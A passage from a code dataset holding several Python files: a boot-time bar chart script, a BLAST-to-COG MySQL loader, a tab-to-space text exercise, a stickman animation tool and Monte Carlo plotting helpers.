vmm_times.append(float(row[0]) / 1000.0)\n guest_times.append(float(row[1]) / 1000.0)\n \n if len(vmm_times) == 0 or len(vmm_times) != len(guest_times):\n print(\"Could not parse empty data set: %s\" % f)\n continue\n\n guest_times = np.array(guest_times)\n vmm_times = np.array(vmm_times)\n\n mean_vmm = float(np.average(vmm_times))\n median_vmm = float(np.median(vmm_times))\n amax_vmm = float(np.amax(vmm_times))\n amin_vmm = float(np.amin(vmm_times))\n\n mean_guest = float(np.average(guest_times))\n median_guest = float(np.median(guest_times))\n amax_guest = float(np.amax(guest_times))\n amin_guest = float(np.amin(guest_times))\n\n if amax_guest + amax_vmm > boottime_max:\n boottime_max = amax_guest + amax_vmm\n\n boottimes[unikernel][\"guest\"] = {\n MEAN_KEY: mean_guest,\n MEDIAN_KEY: median_guest,\n AMAX_KEY: amax_guest,\n AMIN_KEY: amin_guest,\n }\n boottimes[unikernel][\"vmm\"] = {\n MEAN_KEY: mean_vmm,\n MEDIAN_KEY: median_vmm,\n AMAX_KEY: amax_vmm,\n AMIN_KEY: amin_vmm,\n }\n\n if len(boottimes[unikernel]) > stack_max:\n stack_max = len(boottimes[unikernel])\n\n # General style\n common_style(plt)\n\n\n boottime_max += 700 # margin above biggest bar\n\n # Setup matplotlib\n fig = plt.figure(figsize=(8, 5))\n ax = fig.add_subplot(1,1,1)\n ax.grid(which='major', axis='y', linestyle=':', alpha=0.5)\n\n # This plot:\n # ax.set_title('Unikernel Build Times', pad=35)\n ax.set_ylabel(\"Total Boot Time (ms)\") \n # ax.set_xlabel('Applications', labelpad=10)\n\n # Add padding above tallest bar\n\n plt.ylim(0, boottime_max)\n\n renderer = fig.canvas.get_renderer()\n\n ax.set_yscale('symlog')\n # ax.set_yticks(np.arange(0, (boottime_max / MINUTES) + 10, step=2), minor=False)\n\n # Adjust margining\n fig.subplots_adjust(bottom=.1) #, top=1)\n\n # Plot coordinates\n yticks = 0\n scale = 1. / len(text_xlabels)\n xlabels = []\n\n # Create a blank matrix where we'll align bar sizes for matplotlib\n means = np.zeros((stack_max, total_vmms), dict)\n labels = np.zeros((stack_max, total_vmms), dict)\n\n\n i = 0\n for vmm in text_xlabels.keys():\n # Write unikernel project on top as \"header\"\n lxpos = (i + .5 * len(boottimes[vmm].keys())) * scale\n xlabels.append(text_xlabels[vmm])\n\n # ax.text(lxpos, 1.04, r'\\textbf{%s}' % unikernel, ha='center', transform=ax.transAxes, fontweight='bold')\n\n # # Plot a line beteween unikernel applications\n # if i > 0:\n # line = plt.Line2D([i * scale, i * scale], [0, 1.02],\n # transform=ax.transAxes, color='black',\n # linewidth=1)\n # line.set_clip_on(False)\n # ax.add_line(line)\n\n components = list(boottimes[vmm].items())\n total_time = 0.\n\n # Plot each vmm's as a multi-bar\n j = 0\n for component_label in sorted(boottimes[vmm]):\n component = boottimes[vmm][component_label]\n\n means[j][i] = (component[MEAN_KEY])\n total_time += component[MEAN_KEY]\n bottom_offset = 0\n\n # Increase y-axis distance for the component's bar\n for k in range(j, 0, -1):\n bottom_offset += means[k - 1][i]\n\n # Save the component label\n labels[j][i] = (component_label)\n \n # Plot the bar at the correct matrix location\n bar = ax.bar([i + 1], component[MEAN_KEY],\n bottom=bottom_offset,\n label=component_labels[component_label],\n align='center',\n zorder=3,\n width=BAR_WIDTH,\n color=component_colors[component_label],\n linewidth=.5\n )\n\n # Write total time label if last bar\n if j == len(components) - 1:\n bottom_offset += component[MEAN_KEY] # + .28 # + spacing\n\n print_total_time = \"%-.01fms\" % (total_time)\n #if total_time < 1:\n # print_total_time = \"%-.0fms\" % (total_time * 1000)\n\n #elif total_time < MINUTES:\n # print_total_time = \"%-.2fs\" % (total_time)\n\n #elif total_time > MINUTES * MINUTES:\n # print_total_time = strftime(\"%-Hh %-Mm\", gmtime(total_time))\n\n #else:\n # print_total_time = strftime(\"%-Mm %-Ss\", gmtime(total_time))\n \n plt.text(i + 1, bottom_offset * 1.2, print_total_time,\n ha='center',\n va='bottom',\n fontsize=LARGE_SIZE,\n linespacing=0,\n bbox=dict(pad=-.6, facecolor='white', linewidth=0),\n rotation='vertical'\n )\n \n # add a time label for the application\n # if len(components) > 1 and component_label == DEFAULT_COMPONENET_KEY:\n # component_seconds = component[MEAN_KEY]\n \n # if component_seconds < 1:\n # print_total_time = \"%-.0fms\" % (component_seconds * 1000)\n\n # elif component_seconds < MINUTES:\n # print_total_time = \"%-.2fs\" % (component_seconds)\n\n # else:\n # print_total_time = strftime(\"%-Mm%-Ss\", gmtime(component_seconds))\n\n # print(component_seconds, print_total_time)\n \n # # Account for very tiny applciation builds and position above axis bar\n # yplot = bottom_offset + component[MEAN_KEY]\n # plt.text(i + 1, yplot, r'\\textbf{%s}' % print_total_time,\n # ha='center',\n # va='top' if round(yplot) >= 1 else 'bottom',\n # fontsize=LARGE_SIZE,\n # fontweight='bold',\n # color='white',\n # zorder=6,\n # bbox=dict(pad=2, facecolor='none', linewidth=0),\n # rotation='vertical'\n # )\n\n j += 1\n \n i += 1\n\n xticks = range(1, total_vmms + 1)\n\n ax.set_xticks(xticks)\n # ax.set_xticklabels(xlabels, fontsize=LARGE_SIZE)\n ax.set_xticklabels(xlabels, fontsize=LARGE_SIZE, rotation=40, ha='right', rotation_mode='anchor')\n ax.set_xlim(.5, total_vmms + .5)\n ax.yaxis.grid(True, zorder=0, linestyle=':')\n plt.setp(ax.lines, linewidth=.5)\n\n # Resize plot for bottom legend\n chartBox = ax.get_position()\n # ax.set_position([chartBox.x0, chartBox.y0 + chartBox.height*0.18, chartBox.width, chartBox.height*0.82])\n\n # Create a unique legend\n handles, labels = plt.gca().get_legend_handles_labels()\n by_label = dict(zip(labels[::-1], handles[::-1]))\n leg = plt.legend(by_label.values(), by_label.keys(),\n loc='upper right',\n ncol=1,\n fontsize=LARGE_SIZE\n )\n leg.get_frame().set_linewidth(0.0)\n\n # Save to file\n fig.tight_layout()\n fig.savefig(output)\n\nif __name__ == '__main__':\n fire.Fire(plot)\n", "sub_path": "experiments/fig_10_unikraft-boot/plot.py", "file_name": "plot.py", "file_ext": "py", "file_size_in_byte": 8923, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pprint.PrettyPrinter", "line_number": 20, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 23, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 105, "usage_type": "call"}, {"api_name": "os.path", "line_number": 105, "usage_type": "attribute"}, {"api_name": "csv.reader", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.amax", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.amin", "line_number": 127, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.amax", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.amin", "line_number": 132, "usage_type": "call"}, {"api_name": "common.common_style", "line_number": 154, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 154, "usage_type": "argument"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 160, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 160, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 171, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 171, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 187, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 188, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.text", "line_number": 254, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 254, "usage_type": "name"}, {"api_name": "common.LARGE_SIZE", "line_number": 257, "usage_type": "name"}, {"api_name": "common.LARGE_SIZE", "line_number": 299, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.setp", "line_number": 302, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 302, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 309, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 309, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 311, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 311, "usage_type": "name"}, {"api_name": "common.LARGE_SIZE", "line_number": 314, "usage_type": "name"}, {"api_name": "fire.Fire", "line_number": 323, "usage_type": "call"}]} +{"seq_id": "326520315", "text": "#!/usr/bin/env python\n# -*- coding: iso-8859-15 -*-\n\n\n# convert gbk file to faa\n# manual writing with headers of the form\n# gi|83716028|ref|YP_443839.1| matrix protein [Avian metapneumovirus]\n# Author: Trestan Pillonel (trestan.pillonel[]gmail.com)\n# Date: 2014\n# ---------------------------------------------------------------------------\n\n# '6 qacc sacc evalue nident pident positive gaps length qstart qend qcovs sstart send qseqid qgi qaccver '\n# 25.08.16 changed identity cutoff from 30 to 25\n# 01.09.16 changed identity cutoff from 25 to 30\n# 21.12.16 changed identity cutoff from 25 to 20 and coverage from 60 to 50\ndef blast2COG(blast_file, coverage_cutoff=50, identity_cutoff=20):\n with open(blast_file, \"r\") as f:\n locus2hit_gi = {}\n locus2query_start = {}\n locus2query_end = {}\n locus2identity = {}\n locus2qcovs = {}\n locus2evalue = {}\n #TODO: add bitscore\n # 0 qgi\n # 1 qacc ok\n # 2 sgi\n # 3 sacc ok\n # 4 sscinames\n # 5 sskingdoms\n # 6 staxids\n # 7 evalue ok\n # 8 nident\n # 9 pident ok\n # 10 positive\n # 11 gaps\n # 12 length\n # 13 qstart ok\n # 14 qend ok\n # 15 qcovs ok\n # 16 sstart\n # 17 send\n # 18 sstrand\n # 19 stitle\n\n for line in f:\n data = line.rstrip().split('\\t')\n try:\n locus_tag = data[1].split('|')[3]\n except IndexError:\n locus_tag = data[1]\n print (locus_tag)\n identity = float(data[9])\n query_coverage = float(data[15])\n\n hit_gi = data[3].split('|')[1]\n query_start = int(data[13])\n query_end = int(data[14])\n evalue = float(data[7])\n\n if identity >= identity_cutoff and query_coverage >= coverage_cutoff:\n locus2hit_gi[locus_tag] = hit_gi\n locus2query_start[locus_tag] = query_start\n locus2query_end[locus_tag] = query_end\n locus2identity[locus_tag] = identity\n locus2qcovs[locus_tag] = query_coverage\n locus2evalue[locus_tag] = evalue\n return locus2hit_gi, locus2query_start, locus2query_end, locus2identity, locus2qcovs, locus2evalue\n\n\ndef gi2COG(*protein_gi):\n import MySQLdb\n import os\n\n mysql_host = 'localhost'\n mysql_user = 'root'\n mysql_pwd = os.environ['SQLPSW']\n mysql_db = 'COG'\n\n\n conn = MySQLdb.connect(host=mysql_host, # your host, usually localhost\n user=mysql_user, # your username\n passwd=mysql_pwd, # your password\n db=mysql_db) # name of the data base\n cursor = conn.cursor()\n\n\n\n if len(protein_gi)>1:\n prot_id_filter='where protein_id in (%s' % protein_gi[0]\n for i in range(1,len(protein_gi)):\n prot_id_filter+=',%s' % protein_gi[i]\n prot_id_filter+=')'\n else:\n prot_id_filter = 'where protein_id=\"%s\"' % protein_gi[0]\n\n sql ='select cog_2014.protein_id,cog_names_2014.COG_id,cog_names_2014.function, cog_names_2014.name ' \\\n ' from cog_2014 inner join cog_names_2014 on cog_2014.COG_id=cog_names_2014.COG_id %s' % prot_id_filter\n\n cursor.execute(sql)\n\n return cursor.fetchall()\n\ndef load_locus2cog_into_sqldb(input_blast_files, biodb):\n import MySQLdb\n import os\n from chlamdb.biosqldb import manipulate_biosqldb\n mysql_host = 'localhost'\n mysql_user = 'root'\n mysql_pwd = os.environ['SQLPSW']\n mysql_db = 'COG'\n conn = MySQLdb.connect(host=mysql_host, # your host, usually localhost\n user=mysql_user, # your username\n passwd=mysql_pwd, # your password\n db=mysql_db) # name of the data base\n cursor = conn.cursor()\n\n #TODO: add bitscore\n # 0 qgi\n # 1 qacc ok\n # 2 sgi\n # 3 sacc ok\n # 4 sscinames\n # 5 sskingdoms\n # 6 staxids\n # 7 evalue ok\n # 8 nident\n # 9 pident ok\n # 10 positive\n # 11 gaps\n # 12 length\n # 13 qstart ok\n # 14 qend ok\n # 15 qcovs ok\n # 16 sstart\n # 17 send\n # 18 sstrand\n # 19 stitle\n\n # locus_tag2gi_hit_\n sql = 'create table COG.seqfeature_id2best_COG_hit_%s (bioentry_id INT, ' \\\n ' seqfeature_id INT, ' \\\n ' hit_cog_id INT,' \\\n ' hit_protein_id INT, ' \\\n ' query_start int,' \\\n ' query_end int,' \\\n ' identity FLOAT,' \\\n ' query_cov FLOAT,' \\\n ' evalue FLOAT,' \\\n ' index seqfeature_id (seqfeature_id), ' \\\n ' index bioentry_id (bioentry_id),' \\\n ' index hit_protein_id(hit_protein_id),' \\\n ' index hit_cog_id(hit_cog_id))' % biodb\n\n cursor.execute(sql)\n conn.commit()\n sql = 'select locus_tag,bioentry_id from biosqldb.orthology_detail_%s t1 ' \\\n ' inner join biosqldb.bioentry as t2 on t1.accession=t2.accession ' \\\n ' inner join biosqldb.biodatabase t3 on t2.biodatabase_id=t3.biodatabase_id ' \\\n ' where t3.name=\"%s\"' % (biodb, biodb)\n sql2 = 'select protein_id, locus_tag from orthology_detail_%s' % biodb\n sql3 = 'select locus_tag, seqfeature_id from custom_tables.locus2seqfeature_id_%s' % biodb\n sql4 = 'select protein_id,COG_id from COG.cog_2014'\n server, db = manipulate_biosqldb.load_db(biodb)\n locus2bioentry_id = manipulate_biosqldb.to_dict(server.adaptor.execute_and_fetchall(sql))\n protein_id2locus_tag = manipulate_biosqldb.to_dict(server.adaptor.execute_and_fetchall(sql2))\n locus_tag2seqfeature_id = manipulate_biosqldb.to_dict(server.adaptor.execute_and_fetchall(sql3))\n protein_id2COG_id = manipulate_biosqldb.to_dict(server.adaptor.execute_and_fetchall(sql4))\n\n for input_blast in input_blast_files:\n print ('file', input_blast)\n locus2hit_gi, \\\n locus2query_start, \\\n locus2query_end, \\\n locus2identity, \\\n locus2qcovs, \\\n locus2evalue = blast2COG(input_blast)\n\n for locus in locus2hit_gi:\n print ('locus', locus)\n sql = 'INSERT into seqfeature_id2best_COG_hit_%s (bioentry_id, ' \\\n ' seqfeature_id, ' \\\n ' hit_COG_id,' \\\n ' hit_protein_id,'\\\n ' query_start,' \\\n ' query_end,' \\\n ' identity,' \\\n ' query_cov,' \\\n ' evalue) VALUES (%s,%s, %s, %s, %s,%s, %s, %s, %s)' % (biodb,\n locus2bioentry_id[locus],\n locus_tag2seqfeature_id[locus],\n protein_id2COG_id[str(locus2hit_gi[locus])],\n locus2hit_gi[locus],\n locus2query_start[locus],\n locus2query_end[locus],\n locus2identity[locus],\n locus2qcovs[locus],\n locus2evalue[locus])\n\n cursor.execute(sql)\n conn.commit()\n\n\n\ndef locus2function(input_blast_files, display_print=False,):\n\n import MySQLdb\n import os\n mysql_host = 'localhost'\n mysql_user = 'root'\n mysql_pwd = os.environ['SQLPSW']\n mysql_db = 'COG'\n conn = MySQLdb.connect(host=mysql_host, # your host, usually localhost\n user=mysql_user, # your username\n passwd=mysql_pwd, # your password\n db=mysql_db) # name of the data base\n cursor = conn.cursor()\n\n locus2function_dico = {}\n for input_blast in input_blast_files:\n print ('file', input_blast)\n locus2hit_accession = blast2COG(input_blast)\n\n cogs = gi2COG(*locus2hit_accession.values())\n\n gi2cog_data = {}\n for cog in cogs:\n gi2cog_data[int(cog[0])] = cog[1:]\n\n for locus in locus2hit_accession:\n try:\n function = list(gi2cog_data[int(locus2hit_accession[locus])][1])\n locus2function_dico[locus] = function\n except:\n print ('problem with locus %s, skipping...' % locus)\n\n if display_print:\n for locus in locus2function_dico:\n for function in locus2function_dico[locus]:\n print (\"%s\\t%s\" % (locus, function))\n else:\n return locus2function_dico\n\n\n\n\ndef investiguate_core_COGs(db_name, locus2function):\n from chlamdb.biosqldb import manipulate_biosqldb\n import biosql_own_sql_tables\n server, db = manipulate_biosqldb.load_db(db_name)\n sql = 'select taxon_id from bioentry' \\\n ' inner join biodatabase on bioentry.biodatabase_id = biodatabase.biodatabase_id' \\\n ' and biodatabase.name = \"%s\" group by taxon_id' % db_name\n\n all_accessions = [i[0] for i in server.adaptor.execute_and_fetchall(sql,)]\n\n all_accessions.pop(all_accessions.index(292))\n all_accessions.pop(all_accessions.index(125))\n all_accessions.pop(all_accessions.index(291))\n\n sql_include = ''\n\n for i in range(0, len(all_accessions)-1):\n sql_include += ' `%s` > 0 and ' % all_accessions[i]\n sql_include+='`%s` > 0' % all_accessions[-1]\n\n sql ='select orthogroup from orthology_%s where %s ' % (db_name, sql_include)\n\n core_groups = [i[0] for i in server.adaptor.execute_and_fetchall(sql,)]\n #print len(core_groups)\n locus_tag2orthogroup = biosql_own_sql_tables.locus_tag2orthogroup(db_name)\n\n orthogroup2proteins = biosql_own_sql_tables.orthogroup2protein_id_list(db_name)\n\n COGs = ''\n core_cogs = {}\n for group in core_groups:\n proteins = orthogroup2proteins[group]\n core_cogs[group] = []\n for protein in proteins:\n try:\n COGs+= '%s (%s)\\t' % (locus2function[protein], protein)\n core_cogs[group] += locus2function[protein]\n except:\n COGs+= '- (%s)\\t' % protein\n COGs = COGs[0:-1] + '\\n'\n #print COGs\n core_annot = 0\n core_non_annot = 0\n for i in core_cogs:\n if len(core_cogs[i])>0:\n core_annot+=1\n else:\n core_non_annot+=1\n print ('annot:', core_annot)\n print ('non annot', core_non_annot)\n\n with open('core_groups2cogs.tab', 'w') as f:\n\n for group in core_cogs:\n line = '%s\\t' % group\n for one_cog in core_cogs[group]:\n line+='%s\\t' % one_cog\n f.write(line[0:-1] + '\\n')\n\n\n\n\n '''\n for locus in locus2function:\n group = locus_tag2orthogroup[locus]\n if group in core_groups:\n print group, locus, locus2function[locus]\n '''\n\n\n\n\n\nif __name__ == '__main__':\n import argparse\n from Bio import SeqIO\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-i\", '--input_blast', type=str, help=\"blast tab file\", nargs='+')\n parser.add_argument(\"-o\", '--outname', type=str, help=\"putput_name\", default=False)\n parser.add_argument(\"-d\", '--database_name', type=str, help=\"database name\", default=False)\n\n\n args = parser.parse_args()\n\n load_locus2cog_into_sqldb(args.input_blast, args.database_name)\n '''\n locus2function_dico = locus2function(args.input_blast, display_print=False)\n print 'locus2f', len(locus2function_dico)\n investiguate_core_COGs('chlamydia_03_15', locus2function_dico)\n '''\n", "sub_path": "chlamdb/biosqldb/blastCOG2COG_classification.py", "file_name": "blastCOG2COG_classification.py", "file_ext": "py", "file_size_in_byte": 11707, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.environ", "line_number": 77, "usage_type": "attribute"}, {"api_name": "MySQLdb.connect", "line_number": 81, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 110, "usage_type": "attribute"}, {"api_name": "MySQLdb.connect", "line_number": 112, "usage_type": "call"}, {"api_name": "chlamdb.biosqldb.manipulate_biosqldb.load_db", "line_number": 164, "usage_type": "call"}, {"api_name": "chlamdb.biosqldb.manipulate_biosqldb", "line_number": 164, "usage_type": "name"}, {"api_name": "chlamdb.biosqldb.manipulate_biosqldb.to_dict", "line_number": 165, "usage_type": "call"}, {"api_name": "chlamdb.biosqldb.manipulate_biosqldb", "line_number": 165, "usage_type": "name"}, {"api_name": "chlamdb.biosqldb.manipulate_biosqldb.to_dict", "line_number": 166, "usage_type": "call"}, {"api_name": "chlamdb.biosqldb.manipulate_biosqldb", "line_number": 166, "usage_type": "name"}, {"api_name": "chlamdb.biosqldb.manipulate_biosqldb.to_dict", "line_number": 167, "usage_type": "call"}, {"api_name": "chlamdb.biosqldb.manipulate_biosqldb", "line_number": 167, "usage_type": "name"}, {"api_name": "chlamdb.biosqldb.manipulate_biosqldb.to_dict", "line_number": 168, "usage_type": "call"}, {"api_name": "chlamdb.biosqldb.manipulate_biosqldb", "line_number": 168, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 211, "usage_type": "attribute"}, {"api_name": "MySQLdb.connect", "line_number": 213, "usage_type": "call"}, {"api_name": "chlamdb.biosqldb.manipulate_biosqldb.load_db", "line_number": 250, "usage_type": "call"}, {"api_name": "chlamdb.biosqldb.manipulate_biosqldb", "line_number": 250, "usage_type": "name"}, {"api_name": "biosql_own_sql_tables.locus_tag2orthogroup", "line_number": 271, "usage_type": "call"}, {"api_name": "biosql_own_sql_tables.orthogroup2protein_id_list", "line_number": 273, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 323, "usage_type": "call"}]} +{"seq_id": "511534390", "text": "r\"\"\"knock11.py\n11-タブをスペースに置換\nタブ1文字につきスペース1文字に置換せよ．\n確認にはsedコマンド，trコマンド，もしくはexpandコマンドを用いよ．\n\n[URL]\nhttps://nlp100.github.io/ja/ch02.html#11-タブをスペースに置換\n\n[Ref]\n- BSD sed でタブを入力\n - http://mattintosh.hatenablog.com/entry/2013/01/16/143323\n\n[Command]\nsed (stream editor)\ntr (translate)\n\n[Usage]\nINPUT_PATH=./popular-names.txt\npython knock11.py $INPUT_PATH\n# sed\nsed $'s/\\t/ /g' $INPUT_PATH\ndiff -sw <(python knock11.py $INPUT_PATH) <(sed $'s/\\t/ /g' $INPUT_PATH)\n# tr\ntr '\\t' ' ' < $INPUT_PATH\ndiff -sw <(python knock11.py $INPUT_PATH) <(tr '\\t' ' ' < $INPUT_PATH)\n# expand\nexpand -t 1 $INPUT_PATH\ndiff -sw <(python knock11.py $INPUT_PATH) <(expand -t 1 $INPUT_PATH)\n\"\"\"\nimport os\nimport sys\nfrom typing import Iterator, TypeVar\n\nsys.path.append(os.path.join(os.path.dirname(__file__), \"../../\"))\nfrom kiyuna.utils.message import Renderer, message # noqa: E402 isort:skip\n\nPath = TypeVar(\"Path\", bound=str)\n\n\ndef tab2space(path: Path) -> Iterator[str]:\n with open(path) as f:\n for line in f:\n yield line.replace(\"\\t\", \" \")\n\n\nif __name__ == \"__main__\":\n path: Path = sys.argv[1]\n\n sys.stdout.writelines(tab2space(path))\n", "sub_path": "kiyuna/chapter02/knock11.py", "file_name": "knock11.py", "file_ext": "py", "file_size_in_byte": 1287, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sys.path.append", "line_number": 34, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 34, "usage_type": "call"}, {"api_name": "typing.TypeVar", "line_number": 37, "usage_type": "call"}, {"api_name": "typing.Iterator", "line_number": 40, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 47, "usage_type": "attribute"}, {"api_name": "sys.stdout.writelines", "line_number": 49, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 49, "usage_type": "attribute"}]} +{"seq_id": "167230303", "text": "import copy\nimport pickle\nimport tkinter\n\nfrom PIL import Image\n\nfrom Tools import Flicker2 as Flicker\nfrom Tools.Articulated import Stickman\n\n\nclass Call(Flicker.Flicker):\n def __init__(self):\n super().__init__(self.key_callback)\n self.frame = 0\n self.objects = [Stickman()]\n self.objects_for_frame = {self.frame: self.objects}\n self.shadows = []\n self._paint()\n\n def key_callback(self, value: tkinter.Event):\n keycode = value.keycode\n if keycode == 57:\n self.frame -= 1\n self.frame = max(self.frame, 0)\n objs = self.objects_for_frame.get(self.frame)\n if objs is not None:\n self.objects = objs\n else:\n self.objects = copy.deepcopy(self.objects)\n self.objects_for_frame[self.frame] = self.objects\n elif keycode == 58:\n self.frame += 1\n objs = self.objects_for_frame.get(self.frame)\n if objs is not None:\n self.objects = objs\n else:\n self.objects = copy.deepcopy(self.objects)\n self.objects_for_frame[self.frame] = self.objects\n # self.frame = max(self.frame, 0)\n self._paint()\n\n def _paint(self):\n # self.data[self.frame] = self.stickman.get_data()\n super()._paint()\n\n def _get_image(self) -> Image.Image:\n return Image.open(\"./sequences/calltoaction/frame{}.png\".format(self.frame+3606))\n\n def save(self):\n pickle.dump(self.objects_for_frame, open(\"./data/call.dat\", \"wb\"))\n\n def load(self):\n self.objects_for_frame = pickle.load(open(\"./data/call.dat\", \"rb\"))\n self.objects = self.objects_for_frame[self.frame]\n self._paint()\n\n def export(self):\n export_list = []\n for objs in self.objects_for_frame:\n export_dic = {}\n export_dic[\"stickman_1\"] = self.objects_for_frame[objs][0].export()\n export_list.append(export_dic)\n pickle.dump(export_list, open(\"../StickmanScenes/data/call.dat\", \"wb\"))\n\n\nif __name__ == \"__main__\":\n flicker = Call()", "sub_path": "StickyCopy/CallToAction.py", "file_name": "CallToAction.py", "file_ext": "py", "file_size_in_byte": 2141, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "Tools.Flicker2.Flicker", "line_number": 11, "usage_type": "attribute"}, {"api_name": "Tools.Flicker2", "line_number": 11, "usage_type": "name"}, {"api_name": "Tools.Articulated.Stickman", "line_number": 15, "usage_type": "call"}, {"api_name": "tkinter.Event", "line_number": 20, "usage_type": "attribute"}, {"api_name": "copy.deepcopy", "line_number": 29, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 37, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 47, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 47, "usage_type": "name"}, {"api_name": "PIL.Image.Image", "line_number": 46, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 46, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 50, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 53, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 63, "usage_type": "call"}]} +{"seq_id": "497745472", "text": "import os\nimport numpy as np\nimport matplotlib\n# matplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nfrom matplotlib.mlab import griddata\nplt.style.use('ggplot')\nfrom mcpy.utils import filesafe\nimport mcpy.metrics\nimport itertools\n\n# example-dgp-specific\ndef plot_sweep(plot_name, sweep_keys, sweep_params, sweep_metrics, sweep_true_params, config):\n pass\n\n# example-dgp-specific\ndef plot_metrics(plot_name, experiment_results, metric_results, true_params, config):\n \"\"\"\n Plots all metrics that are listed in the metrics section of a config file\n which are not single summary statistics. Thus, this plots metrics that are a\n function of the points X. These metrics are all based on Theta(X).\n \"\"\"\n for dgp_name in config['dgps'].keys(): # just one right now\n for metric_name in config['metrics'].keys():\n if metric_name not in config['single_summary_metrics']:\n for method_name in config['methods'].keys():\n x, y = metric_results[dgp_name][method_name][metric_name]\n plt.plot(x, y, label=method_name)\n plt.xlabel(\"X_test\")\n plt.ylabel(metric_name)\n plt.legend()\n plt.savefig(plot_name + \"_\" + metric_name)\n plt.show()\n\n# example-dgp-specific\ndef plot_visualization(plot_name, experiment_results, metric_results, true_params, config):\n \"\"\"\n Plots the results of each method for each dgp vs. the true effect.\n \"\"\"\n X_test = []\n for dgp_name in config['dgps'].keys(): # just one right now\n for method_name in config['methods'].keys():\n X_test = experiment_results[dgp_name][method_name][0][0][0]\n pred = np.array([experiment_results[dgp_name][method_name][i][0][1] for i in range(len(experiment_results[dgp_name][method_name]))])\n mean = np.mean(pred, axis=0)\n plt.plot(X_test, mean, label=method_name)\n plt.xlabel(\"X_test\")\n plt.ylabel(\"Treatment Effect\")\n lb = np.array([experiment_results[dgp_name][method_name][i][1][0] for i in range(len(experiment_results[dgp_name][method_name]))])\n ub = np.array([experiment_results[dgp_name][method_name][i][1][1] for i in range(len(experiment_results[dgp_name][method_name]))])\n lb_ = np.min(lb, axis=0)\n ub_ = np.max(ub, axis=0)\n plt.fill_between(X_test.reshape(100,), lb_, ub_, alpha=0.25)\n\n true = true_params[dgp_name][0]\n plt.plot(X_test, true, label='true effect')\n plt.legend()\n plt.savefig(plot_name)\n plt.show()\n\n# example-dgp-specific\ndef plot_violin(plot_name, experiment_results, metric_results, true_params, config):\n \"\"\"\n Plots all metrics that are single summary statistics, for each method. These\n are single numbers produced for each method for each experiment. They are not a function\n of X.\n \"\"\"\n for dgp_name, dgp_fn in metric_results.items():\n n_methods = len(list(dgp_fn.keys()))\n for metric_name in next(iter(dgp_fn.values())).keys():\n if metric_name in config['single_summary_metrics']:\n plt.figure(figsize=(1.5 * n_methods, 2.5))\n plt.violinplot([dgp_fn[method_name][metric_name] for method_name in dgp_fn.keys()], showmedians=True)\n plt.xticks(np.arange(1, n_methods + 1), list(dgp_fn.keys()))\n plt.ylabel(metric_name)\n plt.tight_layout()\n plt.savefig(plot_name)\n plt.show()\n", "sub_path": "montecarlo/mcpy/plotting.py", "file_name": "plotting.py", "file_ext": "py", "file_size_in_byte": 3536, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "matplotlib.pyplot.style.use", "line_number": 7, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 7, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 7, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 30, "usage_type": 